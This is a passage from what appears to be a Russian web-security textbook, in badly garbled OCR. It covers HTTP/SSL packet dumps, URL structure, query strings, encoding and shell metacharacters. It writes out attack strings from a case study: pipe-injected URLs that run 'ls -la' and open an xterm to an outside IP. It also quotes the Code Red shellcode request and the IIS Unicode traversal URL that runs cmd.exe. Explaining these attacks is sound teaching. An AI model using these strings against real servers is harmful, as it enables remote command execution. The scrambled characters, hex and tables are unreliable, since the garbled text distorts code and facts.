00 OK..Date: Non ,15 Apr 2002 Об :11:53 GMT..Server: Apache/1.3.1 2 (Win32) Apache JServ/1.1 mod_ ss 1/2.6.4 OpenSSL/ 0.9.5a Bodj)erl/ 1.22..Last-Modif led: Non, 08 Apr2002 01:34:5 5 GMT..BTag: e0-84b -3cbOC3bf..Acce pt-Ranges: bytes ..Content^Length :2123..Connect! on: close.«Conte nt-Type: text/htA al——00 OK..Date: Non ,15 Apr 2002 Об :11:53 GMT..Server: Apache/1.3.1 2 (Win32) Apache JServ/1.1 mod_ ss 1/2.6.4 OpenSSL/ 0.9.5a Bodj)erl/ 1.22..Last-Modif led: Non, 08 Apr2002 01:34:5 5 GMT..BTag: e0-84b -3cbOC3bf..Acce pt-Ranges: bytes ..Content^Length :2123..Connect! on: close.«Conte nt-Type: text/htA al——0x0040: 30 30 20 4F 4B OD ОА 44 61 74 65 ЗА 20 4D 6F 6Е 0x0050: 2С 20 31 35 20 41 70 72 20 32 30 30 32 20 30 36 0x0060: ЗА 31 31 ЗА 35 33 20 47 4D 54 OD ОА 53 65 72 76 0x0070: 65 72 ЗА 20 41 70 61 63 68 65 2F 31 2Е 33 2Е 31 0x0080: 32 20 28 57 69 6Е 33 32 29 20 41 70 61 63 68 £5 0x0090:4А 53 65 72 76 2F 31 2Е31 20 6D 6F64 5F 73 73 ОхОАОО: 6С 2F 32 2Е 36 2Е 34 20 4F 70 65 6Е 53 53 4С 2F ОхООВО: 30 2Е 39 2Е 35 61 20 6D 6F 64 5F 70 65 72 6С 2F ОхООСО: 31 2Е 32 32 OD ОА 4С 61 73 74 2D 4D 6F 64 69 66 OxOODO: 69 65 64 ЗА 20 4D 6F 6Е 2С 20 30 38 20 41 70 72 ОхООЕО: 20 32 30 30 32 20 30 31 ЗА 33 34 ЗА 35 35 20 47 OxOOFO: 4D 54 OD ОА 45 54 61 67 ЗА 20 22 30 2D 38 34 62 0x0100: 2D 33 63 62 30 66 33 62 66 22 OD ОА41 63 63 65 0x0110: 70 74 2D 52 61 6Е 67 65 73 ЗА 20 62 79 74 65 73 0x0120: OD ОА 43 6F 6Е 74 65 6Е 74 2D 4С 65 6Е 67 74 68 0x0130: ЗА 20 32 31 32 33 ODOA43 6F6E6E65 63 74 69 0x0140: 6F 6Е ЗА 20 63 6С 6F73 65 ODOA43 6F 6Е 74 65 0x0150: 6Е 74 2D 54 79 70 65 ЗА 20 74 65 78 74 2F 68 74 0x0160: 6D6CODOAOD
00 OK..Date: Non ,15 Apr 2002 Об :11:53 GMT..Serv
er: Apache/1.3.1 2 (Win32) Apache JServ/1.1 mod_ ss 1/2.6.4 OpenSSL/ 0.9.5a Bodj)erl/ 1.22..Last-Modif led: Non, 08 Apr
2002 01:34:5 5 G
MT..BTag: e0-84b -3cbOC3bf..Acce pt-Ranges: bytes ..Content^Length :2123..Connect! on: close.«Conte nt-Type: text/ht
A al——
00 OK..Date: Non ,15 Apr 2002 Об :11:53 GMT..Serv
er: Apache/1.3.1 2 (Win32) Apache JServ/1.1 mod_ ss 1/2.6.4 OpenSSL/ 0.9.5a Bodj)erl/ 1.22..Last-Modif led: Non, 08 Apr
2002 01:34:5 5 G
MT..BTag: e0-84b -3cbOC3bf..Acce pt-Ranges: bytes ..Content^Length :2123..Connect! on: close.«Conte nt-Type: text/ht
A al——
В пакете, возвращаемом сервером, содержатся результаты обработки запроса HEAD. Вот как выглядит этот же пакет, зашифрованный с использованием SSL: 04/14-22:46:51.135042 192.168.0.5:443 -> 192.168.0.3:2592 , TCP TTL:128 TOS:OxO 10:18212 IpLen:2 0 DqilLen:339 DF ***AP*** Seq: 0x25992024 Ack: OxB64IBA Win: 0x4266 TcpLen: 20
0x0000: 00 06 5B 30 04 ОС 00 20 78 OD IF 4c 08 00 45 00 ..(0... X..L..E. 0x0010: 01 53 47 24 40 00 80 06 31 28 CO A8 00 05 CO A8 .SG$t...l{ 0x0020: 00 03 01 BB OA 20 25 99 2D 24 00 B6 41 BA 50 18Q・・$.・A・P・
0x0030: 42 66 B9 04 00 00 17 03000126 46E43233 3EBf 4F.23>
0x0040: IE 19 5E 9E FB OB 7F 55417309 9A 97DE D7 65.・*・・..UAs . . . .e
0x0050: A5 FD 00 OB OB 9F 89 2A C2 4C 28 3B AD ОА ОА C9*・!》(;.•••
0x0060: A9 8D 57 54 AA DB 3D 539EC43D OF24C8DB 85・・ИГ・ ・=S. ・・.S・•.
0x0070: B8 2C 36 87 4E ID 30 A52CF236 31CC4858 69.r6.N.O.,.61.Hxi
0x0080: 3F A9 2A 8A 28 57 43 ED 4F Cl FF 2A B2 AF 2A BF ?.*: (WC.O. .•..•. 0x0090: 23 54 FO AB 9D 6F 5D 07 21 CF DF 07 2E 73 2D 50 IT.. .0).!... .S-) OxOOAO: BC 18 8C BO 22 FA 84 80 17 EE 66 98 D9 CB 68 ED ・・・」... £..h. OxOOBO: 18 76 D2 DE E6 FA 6F B7 OB 09 AD 24 6B 8C 97 OE .Vo....$k...
OxOOCO: 6F 26 8B 9F 58 ED FB 53 13 ЗЕ IC 20 73 D3 BE A2 oS..X..S.>. s... OxOODO: 8D Cl D2 20 09 F7 59 El 9F D9 B2 84 49 58 DB 9F. . . . .Y. . . . .IX.. OxOOEO:B761ACE5A256CO3F6E7E67544EВЗ2EEl.a. • ♦ V.?n・gTH..・
OxOOFO:A8F86C87957B62BD6E5B70283C898ED4..1..{b.n(p(<...
0x0100: EDAB 3C EO 3E 75 5B DF BC 82 7C 4F C8 45 7C 66. .<.>U[.. .]O.E| f
0x0110:FB73B829CC572DF25C6659OEBE4A3B42.S・)・M-・\fY・ .J;B
0x0120:2F5F32IEE2DDFBCl84E907ОСDECDOB72/_2r
0x0130: 91F53C61 6E FF66 Fl D8 9B 7C CB255973 71.7<an.f... |.IYeq
0x0140: B9023315 71 B94B 9D FC FF FO F2Bl52D7 54・・3・q・K R.T
0x0150: 4221E4B3 F7 5D77 F3 6A 16 4E 1940A2BC D9Bl •. • ]w. j.N J ・・.
0x0160: C4
Теперь все данные защищены от любопытных глаз взломщика. Преимущество использования SSL очевидно: этот протокол позволяет зашифровать трафик между двумя узлами и таким образом существенно сузить возможности взломщика по доступу к трафику конфиденциальных данных и их перехвату. Однако не стоит заблуждаться. На самом деле SSL не обеспечивает полной безопасности. Все, на что он способен,— это защититься от средств прослушивания точно так же, как кодирование голоса призвано обеспечить конфиденциальность при использовании радиотелефона. Однако эффективность такой защиты вызывает большие сомнения, если вспомнить о программах типа ssldump (http://WWH.Rtfm.com/sslduBp/)» которые позволяют расшифровать трафик, защищенный с использованием SSL.
Резюме
Основной трафик Web практически полностью базируется на протоколах HTTP и HTTPS. Эти два протокола задействованы почти в 100% атак. Брандмауэры не способны предотвратить эти нападения, и лишь несколько систем выявления вторжений позволяют их обнаружить. Все это объясняется тем, что хакерам пре1фасно известно, как манипулировать этими протоколами и использовать их для достижения своих целей.
ГЛАВА5
lrexi
Лазерный меч — это оружие Джедая. Он не такой громоздкий « неуправляемый, как бластер.
Оби-Ван Кеноби, "Звездные войны. Эпизод /,'
118118ЛЛ
118
118
Л
Л
Введение
Среди бесчисленных приемов, используемых взломщиками, методы хакинга в Web по праву можно отнести к самой ,,элегантнойп технологии (если подобный комплимент можно считать уместным). Простота и изящность использования обычного броузера для реализации наиболее разрушительных атак достойны восхищения, а связанные с этим события, несомненно, заслуживают самого пристального внимания. Иногда методы хакинга в Web сложны для понимания, но зачастую тривиальны. Тем не менее они способны привести к самым разрушительным последствиям. Известно ли вам о том, что помещенные в нужном месте символы 11 могут пробить зияющую дыру в безопасности вашего интерактивного приложения электронной коммерции?
Хакинг в Web во многом напоминает микрохирургическую операцию через небольшой разрез. Такая операция требует ювелирной точности и взвешенных, осторожных движений. ,,Пpopeзaть,, отверстие — работа искусная и непростая, однако далее необходим целый комплекс сложнейших внутренних манипуляций. Кроме того, средства, которые потребуются хакеру для успешной реализации атаки на систему электронной коммерции, также придется "протиснуть” через это маленькое отверстие. На данный момент таким микроканалом является универсальный локатор ресурсов URL (Uniform Resource Locator), также известный как универсальный идентификатор ресурсов URI (Uniform Resource Identifier). Иногда URL оказывается единственным механизмом взаимодействия с большими и сложными системами (так называемыми многообещающими целями), расположенными по ту сторону чрезвычайно зашишенных брандмауэров.
В главе 2 обсузздались основы протокола HTTP и принципы его функционирования. В этой главе основное внимание уделяется адресам URL. Вы узнаете, что собой представляет URL, как его можно использовать для реализации атак, какие механизмы подвергаются опасности при его использовании и насколько серьезные последствия может вызвать его неправильное применение. Эти вопросы подробно рассматриваются на протяжении всей главы. В результате выяснится, что в подавляющем большинстве случаев разработчики программного обеспечения для Web и группы специалистов, работающих в области информационных технологий, недооценивают опасность, связанную с применением URL.
Большинство современных хакерских атак в Web выглядят достаточно изящно. Обычно злоумышленник начинает с простых шагов, например связанных с изучением внутренней структуры Web-узла (см. главу 6). Каждый такой шаг позволяет хакеру проникать все глубже и глубже в "недра” Web-узла. Элегантность подобных атак связана с тем, что для их реализации хакеру требуется всего лишь броузер Internet, поскольку для большинства атак в качестве средства доставки разрушительного кода используется URL.
В этой главе обсузздаются следующие основные вопросы:
структура URL;
кодирование URL;
коды ASCII, представленные в формате Unicode и шестнадцатеричном формате;
метасимволы и их влияние на приложение;
формы HTML и передача параметров.
Подробное обсузздение спецификаций HTTP, HTML и URL не входит в задачи данной книги. Однако здесь будут рассмотрены связанные с ними ключевые понятия, особенно те из них, которые касаются обеспечения безопасности Web-приложений.
Для тех, кто хочет глубже разобраться с принципами, положенными в основу URL и HTTP, лучше всего воспользоваться соответствующими документами RFC. В RFC 1738
Часть I. Будни электронной коммерции
приведены самые ранние предложения по спецификации URL, которые более точно описаны в RFC 1808 и 2396. В документе RFC 1945, а чуть позже и в RFC 2068, содержится описание протокола НТГР/1.0. Протокол HTTP vl.l описан в RFC 2616. Все эти документы можно найти по адресу: http://www.ietf.org/rfc/.
Структура URL
Вообще говоря, URL — это механизм, используемый для идентификации ресурсов на Web-, SSL- или ftp-сервере. URL также определяет протокол прикладного уровня, который обеспечивает передачу запросов Web-серверу. Общая структура URL имеет следующий вид:
протосол://сервер/ пуп/к/ресурсу! параметра
Каждый из этих компонентов описан в табл. 5.1.
Таблица 5.1. Компоненты
Компонент Описание
Протокол Протокол прикладного уровня. Чаще всего адреса URL используются для получения ресурсов с Web-серверов (серверов HTTP). Поэтому наиболее распространенным протоколом является http:. Другими протоколами могут быть https:, ftp:. Idap:, telnet:, рорЗ: ит.д., в зависимости от того, какой из них поддерживается броузером и сервером
Сервер Имя DNS, имя Netbios или IP-卿ес узла в сети, на котором содержьяся запрашиваемый ресурс
Путъ/к/ресурсу Путь к каталогу, в котором содержится также имя запрашиваемого ресурса. Таким ресурсом может быть статический файл или приложение, которое используется для динамической генерации выходных данных
Параметры Если запрашиваемым ресурсом является приложение или программа, используемая для динамической генерации содержимого, то при необходимости такому ресурсу можно передать параметры. Иногда часть URL, в которой задаются параметры, называется строкой запроса (Query String)
На рис. 5.1 показаны три типа URL.
http://www.blueballoon.com/picture*/divine i/monalisa.html
I , яJiJ
Протокол Имя сервераПуть к запрашиваемому файлу
ftp://192.168.17♦ЗЗ/pub/img^viewer.exe
»_ лII.J
Протокол IP-адрес сервера Путь к запрашиваемому файлу б
https://www.blueballoon.com/order/buy.asp?item=A003&pmt-visa
11Л.Л“
Путь к запускаемому Параметры, передаваемыеГфИЛОЖвНИЮ приложению fc/jy. asp
В
Рис. 5.1. Примеры URL
Адрес URL, приведенный на рис. 5.1, а, не требует объяснений. Файл nonalisa.html запрашивается по протоколу HTTP с сервера wvw.blueballoon.com В пространстве этого Web-узла файл monalisa.html содержится в каталоге /pictures/davinci. На рис. 5.1, б представлен пример URL, в котором вместо HTTP задан другой протокол. В данном случае броузер должен открыть анонимное FTP-соединение с сервером www.blueballoon.com и загрузить с него файл img viewer.exe, содержащийся в каталоге /pub/. Поскольку в данной книге основное внимание уделяется Web -приложениям и связанным с ними протоколам, то обсуждаются только адреса URL, связанные с использованием протокола HTTP. Поэтому в оставшейся части книги термин URL будет означать использование протокола HTTP. Адрес URL, показанный на рис. 5.1, в, используется для запуска приложения buy. asp из каталога /order/. Этому приложению передаются два параметра: item, в котором содержится значение АООЗ, и pint со значением visa. Стоит отметить, что в данном случае используется не протокол http:, а https:, т.е. HTTP поверх SSL (см. главу 2).
Теперь познакомимся с механизмом передачи параметров в Web-приложения (см. рис. 5.1, в).
Психология Web-хакера
Попробуем поставить себя на место хакера. Что же необходимо, чтобы быть хакером? Коротко можно сказать так: взломщик обладает способностью экстраполировать информацию и нестандартно мыслить. Умение читать между строк, делать выводы из неочевидного и разгадывать внутреннюю механику функционирования неизвестной системы — вот основные составляющие хакерского мастерства.
Посмотрим глазами хакера на URL, представленный на рис. 5」,в.
httpi 〃www.blueba】loon • com/order/buy.aspUteBHAOOmsprntsvi”
Понятно, что данный адрес URL используется для запуска приложения или программы, которой передаются некоторые параметры, а в ответ динамически генерируются данные. Что из этого URL можно выудить еще? На самом деле очень многое. Исходя из имени этого ресурса (buy.asp), можно сделать первое предположение. Расширение .asp наводит на мысль, что этот файл в действительности является файлом ASP (Active Server Page). Файлы ASP практически всегда используются на Web-сервер ах Microsoft IIS. Следовательно, скорее всего, www.blueballoon.com — это сервер Windows NT/2000/XP, на котором запущен Web-сервер IIS.
Внимательно проанализировав параметры, можно обнаружить несколько новых подсказок. Первый параметр, iter=A003. позволяет сделать предположение о том, что приобретаемому товару присвоен собственный код, а его подробное описание должно храниться в базе данных. Как правило, самой популярной базой данных для Windows NT является какая-либо из версий Microsoft SQL Server (полнофункциональный SQL Server или SQL Desktop Engine) или база данных Microsoft Access. Если это небольшой Web-узел, то на нем, скорее всего, используется Microsoft Access. Таким образом, вполне вероятно, что для получения дополнительной информации о товаре в файле buy.asp генерируется SQL-запрос к внутреннему серверу баз данных.
Второй параметр, pmt«visa. позволяет предположить, что для оплаты покупки используется кредитная карточка, в данном случае Visa. Поэтому в файле buy.asp может содержаться также программный код, предназначенный для взаимодействия с системой обработки платежей по кредитным карточкам. Возможно, именно по этой причине для защиты используется протокол SSL.
Вопросы, связанные с получением информации об используемых внутренних технологиях на основе структуры Web-узла и адресов URL, более подробно рассматриваются в главе 6.
URL и передача параметров
В URL строка запроса (Query String) используется для передачи параметров приложению, которое будет запущено. При вызове прикладной программы процесс Web- сервера передает ей, во-первых, переменные окружения, а во-вторых, необходимые параметры. Принципы взаимодействия Web-приложений с Web-серверами описаны в спецификации CGI (Common Gateway Interface — интерфейс общего шлюза). В этой спецификации указано, что приложения, запускаемые Web-серверами, могут получать содержимое строки запроса как через аргументы командной строки, так и через переменную окружения QUERY_STRING.
Передачу параметров приложениям лучше всего продемонстрировать на примере. Начнем с того, что создадим CGI-сценарий query.cgi на сервере Linux с IP-адресом 192.168.7.253. В файле query .eg i содержится следующий код: 01: Sl/bin/sb 02: set -f 03: echo Content-type: text/plain 04: echo 05: echo Number of coroand-line args: "SS" 06: echo conmand-line args: “$," 07: echo GATEWAY^ INTERFACE 二 *$GATEWAY MWACE" 08: echo SERVERjPROTOCOL - 4,$S£RVER_PROTOCOL* 09: echo REQUEST METHOD = *$REQUKT~MErHO[r 10: echo SCRIPTXAXE = -SSCRIP7 NAME" 11: echo QUERYjTRING = TQUEK匸STRING"
Сценарий выводит на экран число переданных ему аргументов командной строки, фактические значения этих аргументов, а также несколько переменных окружения, устанавливаемых Web-сервер ом при запуске сценария.
Теперь укажем в броузере следующий адрес URL: http://192.168.7.253/cgi-bin/query.c^i?Hello+Worldr♦this>ie4CGI
В строке запроса содержится значение Hello^World r +this>is+CGI. После запуска сценария будут получены следующие данные:
Number of command-line args: 5 command-line args: Hello World, this is CGI GATEWAY_INTERFACE 二 CGI/1』
SERVER PROTOCOL 二 HTTP/1.0
REQUEST_METHOD 二 GET
SCRIPT_NAKE 二 /cgi-bin/query.cgi QUERYjfRING = Hello>WorId r *this>ie*CGI
Содержимое строки запроса помещается Web-сервером в переменную окружения QUERY_STRING, Кроме того, Web-сервер выполняет также декодирование строки запроса, а затем передает полученные данные в качестве аргументов командной строки сценарию query.cgi. Обратите внимание, что символы + Web-сервер заменяет пробелами.
Теперь воспользуемся следующим URL:
http://192.168Л.253/сд1-Ь1п/яивгу.сд1?11еяжА003(ра1*у1за
После выполнения сценария в окне броузера будут отображены такие результаты:
Nurrfoer of coroand-line args: 0 coroand-line args:
GATEWAY INTERTACE 二 CGI/1.1 SERVER PROTOCOL 二 HTTP/1.0 REQUEST^METHOO 二 GET 5CRIPT_SaXE 二 /cgi-bin/query.cgi QUERY^SraiNG 二 item«A003ip(nt=visa
На этот раз Web-сервер не передал строку запроса в качестве аргумента командной строки. Тем не менее строка запроса по-прежнему содержится в переменной окружения QUERY STRING. Разница состоит в том, что в данном примере строка запроса конструируется в соответствии со стандартом передачи параметров с помощью URL. В этом стандарте определено, как в Web-приложение можно передать несколько имен и значений параметров. В общем случае для передачи параметров через строку запроса используется следующий синтаксис:
http: //с^рмр/шм^праграмшйкм^мрали^зтвшюИшля^аарла^звачмя^... шс^тршАНз心вмеМ
Если в приложение передаются три параметра, то в строку запроса помещаются три пары "имя параметра/значение", объединенные символом &. Затем приложение извлекает переданные имена параметров и их значения.
Возможности передачи параметров в Web-приложения не ограничиваются одним лишь использованием строки запроса. Вспомните, что для формирования запросов на получение ресурсов с Web-сервера протокол HTTP предоставляет два метода: GET и POST, Особенности каждого метода более подробно рассматриваются ниже в главе, при обсуждении форм HTML.
Кодирование URL
Сам по себе адрес URL — это алфавитно-цифровая строка, в состав которой входят и некоторые другие символы. Для представления строки URL используется следующий набор символов.
СимволыАлфавитно-цифровые символыЗарезервированные символыДругие специальные символыСимволыАлфавитно-цифровые символыЗарезервированные символыДругие специальные символыЗначенияA-Z, a-z, 0~9〃?“& = + ,<>;「. I •* * ( ) ( } I \ * ( 1 1ЗначенияA-Z, a-z, 0~9〃?“& = + ,<>;「. I •* * ( ) ( } I \ * ( 1 1
Символы
Алфавитно-цифровые символы
Зарезервированные символы
Другие специальные символы
Символы
Алфавитно-цифровые символы
Зарезервированные символы
Другие специальные символы
Значения
A-Z, a-z, 0~9
〃?“& = + ,<>;「
. I •* * ( ) ( } I \ * ( 1 1
Значения
A-Z, a-z, 0~9
〃?“& = + ,<>;「
. I •* * ( ) ( } I \ * ( 1 1
Большей частью строка URL состоит из символов алфавита, цифр и зарезервированных символов, имеющих внутри строки специальный смысл. В строке URL могут использоваться и другие специальные символы, однако с ними не связывается определенный смысл. Тем не менее эти символы могут иметь особое значение для Web-сервера, которому передается такой URL. или для приложения, запускаемого с помощью Web-сервера.
Значение некоторых специальных символов описано в табл. 5.2.
Таблица 5.2. Специальные символы и их значение внутри URL
Специальные символы
Интерпретация
?
Символ отделения строки запроса. Часть строки URL, расположенная справа от символа ?, — это и есть строка запроса
&
Разделитель параметров. Используется для отделения пар параметров имя-значение в строке запроса друг от друга
二
Отделяет имя параметра от его значения при передаче параметров с использованием строки запроса
Этот символ преобразуется в пробел
Используется для отделения протокола от остальной части строки URL Часть строки URL от ее начала до символа : определяет протокол прикладного уровня, используемый в запросе
Специальные Интерпретация символы
*Используется для указания точки привязки внутри Web-странмць Например, URL-адреса
http://ww.acme-art.coe/index.htmlIgailer^rhttp://www.acme-art.com/ index, hbnllpurchase позволяют обратиться к двум различным элементам одной и той же страницы — index.htjnl
%Используется для задания символов в шестнадцатеричном формате
6Используется в U7 в котором указан протокол raailto:, для определения почтового ад
реса. Применяется также при передаче регистрационных данных пользователя при доступе к ресурсу, защищенному паролем, особенно с помощью протокола FTP Используется для указания рабочего каталога пользователя в таких многопользовательских системах, как Unix. При этом URL имеет следую!ций вид: http; / /сервер/">*мя_ пользователя/. Например, адрес http://www.cs.purdue.edu/~saumil/ задает подкаталог Web-страниц пользователя saunil
Метасимволы
В приложениях и сценариях метасимволы *, ;, | и ' имеют специальное значение. Эти символы никак не влияют на сам URL, однако при их успешной передаче в приложение может полностью измениться смысл входных данных. Иногда это позволяет создать "брешь” в подсистеме безопасности.
Многие метасимволы интерпретируются различными Web - серверами по-разному. В табл. 5.3 описано, как метасимволы интерпретируются внутри приложений.
Таблица 5.3. Метасимволы и их значение
Метасимвол Интерпретация/использование
*Является символом-заполнителем или используется в качестве универсального симво
ла. В сценариях оболочки системы Unix этот символ расширяется до списка имен файлов, содержащихся в текущем каталоге
;В зависимости от контекста может иметь различный смысл. Чаще всего символ ; исполь
зуется в качестве завершающего в исходном коде таких языков, как С или Perl. В других ситуациях может использоваться для разделения команд, как в сценариях оболочки Bourne и SQL-запросах
IЕсли этот символ успешно передать в приложение, обоцдя механизм проверки, то можно
причинкгть немалый вред. Это один из самых "мощных" символов сценариев оболочки Unix, уступающий только символу '. Символ конвейера позволяет объединить две команды и перенаправить выходные данные одной команды на вход другой. Если в сценариях Perl при открытии файла в качестве суффикса или префикса его имени используется символ |, то данное имя файла интерпретируется как системная команда и выполняется оболочкой операционной системы. После этого выходные данные, сгенерированные выполняемой программой, записываются в файл
'Используется для подстановки выходных данных команды и является наиболее мощным
символом при написании сценариев оболочки в Unix. Если команда оболочки Unix ограничена символами ', то ее выходные данные возвращаются в заданную переменную- адресат. Например, при использовании команды files='ls -la1 в переменную files будет помещен результат выполнения команды Is -la
Метасимволы и проверка входных данных
Единственной наиболее очевидной причиной существования более 90% всех изъянов Web-приложений является недостаточная проверка корректности входных данных. Идея контроля передаваемых в качестве параметров данных далеко не нова. В те времена, когда мы были студентами и писали программы на языке Fortran, как правило, наш руководитель сам выполнял необходимую проверку, прежде чем зачесть разработанную программу. Одна из таких программ должна была вычислять натуральный логарифм числа. Ни одно из творений студентов не позволило получить правильный результат после ввода первого же значения нашим руководителем —banana. Ведь программа ожидала на входе число! Передача программе неожиданных данных приводила к ее сбою и получению дампа оперативной памяти. В те времена нас мало интересовала проверка входной информации. Запуск процесса xterm за счет "размещения:” метасимволов и команд Unix в форму Web- страницы — это, пожалуй, квинтэссенция изысканных Web-атак, которые оказались возможными исключительно из-за слабой проверки входных данных.
Использование в строке URL специальных символов
В данный момент может возникнуть закономерный вопрос: пЧто делать, если необходимо использовать символы %, ?, & или + как обычные, не учитывая их специального назначения?** Например, допустим, что в строке запроса необходимо передать два параметра — book»pride&predjudice и shipping=snailmail. В этом случае URL будет выглядеть следующим образом:
http://Bychaapbook8hop.coa/purchase.C91?bookspride(predJudlceishippingxsnailBail
Приведенный URL является неоднозначным, поскольку в строке запроса содержится три символа &. Скорее всего, Web-сервер разделит подобную строку на три параметра вместо двух, а именно: book=pride, predjudice» и shippingesnailmai 1.
Если символ & необходимо передать как часть значения параметра, то можно воспользоваться соглашениями, определенными в спецификации URL. Эти правила позволяют представлять зарезервированные и специальные символы в двухбайтовом шестнадцатеричном формате ASCII, добавив в качестве префикса символ I, как показано ниже.
СимволыШестнашатеричные значения
Все шестнадцатеричные символы
Управляющие символы100-I1F,Q7F
Восьмиразрядные AS СП-символы верхнего регистра 180-tFF
ПробелG20 или+
Возврат кареткиNd
Перевод строки$0а
Символ & в десятичном представлении имеет код ASCII 38, а в шестнадцатеричном —26. Поэтому если его требуется включить в строку URL, то вместо него можно использовать шестиадиатеричное значение %2б. Для приведенного примера URL будет иметь следующий вид:
http: //оусНеарЬоокзНор.соо|/ригсЬа8в.сд1?Ьоок*рг1(1е)26рге4]ис11се48Ь1рр1пдя8па11льа11
Стандарт кодирования Unicode
Хотя в большинстве случаев шестнадцатеричного AS СП-кодирования вполне достаточно, его возможностей оказывается мало для представления наборов символов, в состав которых входит более 256 символов. Самые современные операционные системы и приложения поддерживают многобайтовое представление наборов символов языков, отличных от английского. Кроме шестнадцатеричных ASCII-кодов, Web- сервер IIS компании Microsoft поддерживает URL, в которых используются символы, закодированные в формате UTF-8 (UCS Translation Format).
Универсальный набор символов (Universal Character Set — UCS) определен в документе ISO 10646 Междунар одной организации по стандартизации. Хотя этот набор символов и поддерживается ISO, была образована отдельная группа (состоящая, главным образом, из поставщиков программного обеспечения), основной задачей которой является представление различных наборов символов в рамках одной унифицирован- ной схемы. Эта группа называется Консорциумом Unicode (http://www.unicode.org). После составления стандартов обе группы решили разработать общую схему представления, благодаря чему в настоящее время нет необходимости использовать отдельные стандарты. Система кодирования UTF-8 определена в документах ISO 10646-1:2000 и RFC 2279. В тех операционных системах, где используется схема кодирования ASCII, обеспечивается простое преобразование символов UTF-8 и представление многобайтовых символов Unicode в формате ASCII.
Атака на Web-узел компании Acme Art, Inc.
Рассмотрим два URL, которыми воспользовался взломщик в процессе атаки на узел ww.acttLe-art.com, описанной в разделе нСлучай из жизни”, предваряющем главу 1. Вот как они выглядят:
https Z/ww. асяе-art. сое/ index«cgi?page・ | ls*-la*/IOawhich+xteni|
http: Z/ww ・ acne-art ・ con/index. cgiTpa^e^xtemf“isplay*l 0.0.1.21:0.0H26|
В URL хакер внимательно использовал метасимволы и правила кодирования. Передаваемый параметр (значение которого содержится в URL после строки раде=) использовался в качестве имени файла функцией ореп() сценария Perl index.cgi. Для выполнения команд сценарием Perl злоумышленник разместил их между символами конвейера (|). В первом URL содержится три команды Unix, разделенные символом перевода строки )0А. Имитируя нажатие клавиши <Enter> между командами, на самом деле хакер выполнил их подряд, одну за другой. При использовании второго URL на экране взломщика появилось окно xterm. Обратите внимание, что злоумышленник скрыл символ &, воспользовавшись его кодом *26. В результате процесс xterm был запущен в фоновом режиме.
Не углубляясь в тонкости схемы кодирования UTF-8, рассмотрим кодирование Unicode в аспекте его использования в URL. Двухбайтовые символы Unicode кодируются с использованием формата &uXXУК где ХХи КУ — шестнадцатеричные значения старшего и младшего байта соответственно. Для стандартных символов ASCII из диапазона от 100 до *FF используется представление Unicode luOOOO—tuOOFF.
Система кодирования Unicode и вирус Code Red
Сами по себе символы URL, закодированные с помощью Unicode, не отличаются от обычных символов ASCII, представленных в шестнадцатеричном формате. Оц-
нако схема 1иЛАХ¥ позволяет более компактно представить 16-разрядное слово, чем два ASCII-символа в uiестнадцатсричном формате.
Создатели вируса-червя Code Red, который по оценкам экспертов обошелся компаниям в $500 млн. и вызвал настоящий хаос на Web-серверах IIS, воспользовались системой кодирования Unicode для вставки команд о6олочбси в запрос к обра- ботчиБсу .IDA. Это позволило создать условия для переполнения буфера. Запрос HTTP, генерируемый Code Red, выглядит следующим образом:
/default. lda?NRimilNHnimn^^
NNNIWKNiniKNinnmKNNVKNN№iNKNiniNinn^
одпгшшшшпшшюодюютшшнш
NNWNNNMiNWKNWn^^
NKNNNKNIWNNHNKWNNNNNNNN^^
NWNNNNNNNNNNWiMJNNNWu9090tu6858
lucbd3lu7801lu9090lu6858tucbd3%u78011u9090lu6858lucbd3 Iu7801lu9090in9090lu8190»u00c3tu0003lu8b00tu531btu53ff luOOVBluOOOOtuOO^a
Обратите внимание на то, как злоумышленники закодировали команды с использованием 16-разрядной последовательности Unicode. Например, код $и9090 преобразуется к виду 0x90 0x90, что, в свою очередь, означает две пустые инструкции NOP в машинном коде х86.
Неправильное использование кода URL
Кодирование URL используется для того, чтобы в строке URL можно было применять символы, отличные от алфавитно-цифровых. Тем самым обеспечивается возможность использования обычных алфавитно-цифровых символов большинства клавиатур. Применение в URL нестандартных методов кодирования символов делает определенные Web-серверы уязвимыми. Два наиболее серьезных изъяна Web-серверов, о которых стало известно в последнее время, связаны как раз с ошибками в декодировании URL.
Изъян Unicode
В октябре 2000 года стало известно о том, что серверы Microsoft IIS уязвимы к так называемой "ошибке Unicode”. Другими словами, некорректное кодирование символа / в формате Unicode позволяло сформировать URL, с помощью которого можно было передать управление за пределы папки Wbb-документов и вызвать командную оболочБсу (and.exe) из системного каталога Windows. Такой URL может иметь следующий вид:
http://192.168.7.21/script8/..lc0taf ../vinnt/systen32/cmd.exe?/cMirM:\
На рис. 5.2 показано, что могло бы произойти, если бы такой URL был использован в броузере для обращения к узлу 192.168・7・21.
Проанализируем эту атаку подробнее. Код tcOGaf — это некорректное представление символа / в формате Unicode. Получив такой URL, Web-сервер интерпретирует этот код Unicode как символ обратной косой черты. Это приводит к обходу серверных средств фильтрации подобных событий, перемещению на два уровня вверх в иерархии каталогов относительно папки /scripts/ и запуску командной оболочки /winnt/ systejn32/cmd.exe. Как правило, папка /scripts/ расположена в каталоге C:\inetpub. В обычных условиях Web-сервер никогда бы не позволил из URL обращаться к области файловой системы, расположенной за пределами каталога Web-документов (в данном случае C:\inetpub). Однако в процессе проверки местоположения каталога Web-
серверу не удается распознать представление символа / в формате Unicode. На сервере строка ..IсОlaf /.. / преобразуется в строку ../../, после чего происходит обращение к ресурсу С:\inetpub\ecripts\..\..\winnt\systen32\cind.exe. В результате запускает- cякoмaнднaяoбoлoчкaC:\winnt\systemЗ 2\cmd.exe.
Рис. 5.2 Использование Unicode для выполнения команд
Каким же образом код tcO&af преобразуется в символ /? Для этого нужно разобраться с тем, как сконструировать некорректное представление в формате Unicode. Кодом ASCII символа / в шестнадиатсричном представлении является 2F, а в двоичном формате — 00101111. Стандарт кодирования Unicode (или, точнее, стандарт UTF-8) обеспечивает представление более 256 символов, а следовательно, позволяет использовать для их кодирования более 8 бит. Корректное представление кода 2F в формате UTF-8 по-прежнему выглядит как 2F. Однако этот код можно представить и с использованием многобайтового представления UTF-8. Символ / может быть представлен в одно-, двух- и трехбайтовом формате UTF-8 следующим образом.
Используется
/Двоичное
представление
Десятичное представление
Шесгнадцатермчное представление
1 байт
Qxxxxxxx
00101111
47
2F
2 байта
ПОхюса
11000000
49327
СО AF
Юхххххх
10101111
3 байта
ШОххюс
11100000
14713007
EO 80AF
IQxxxxxx
10000000
Юхххасх
10101111
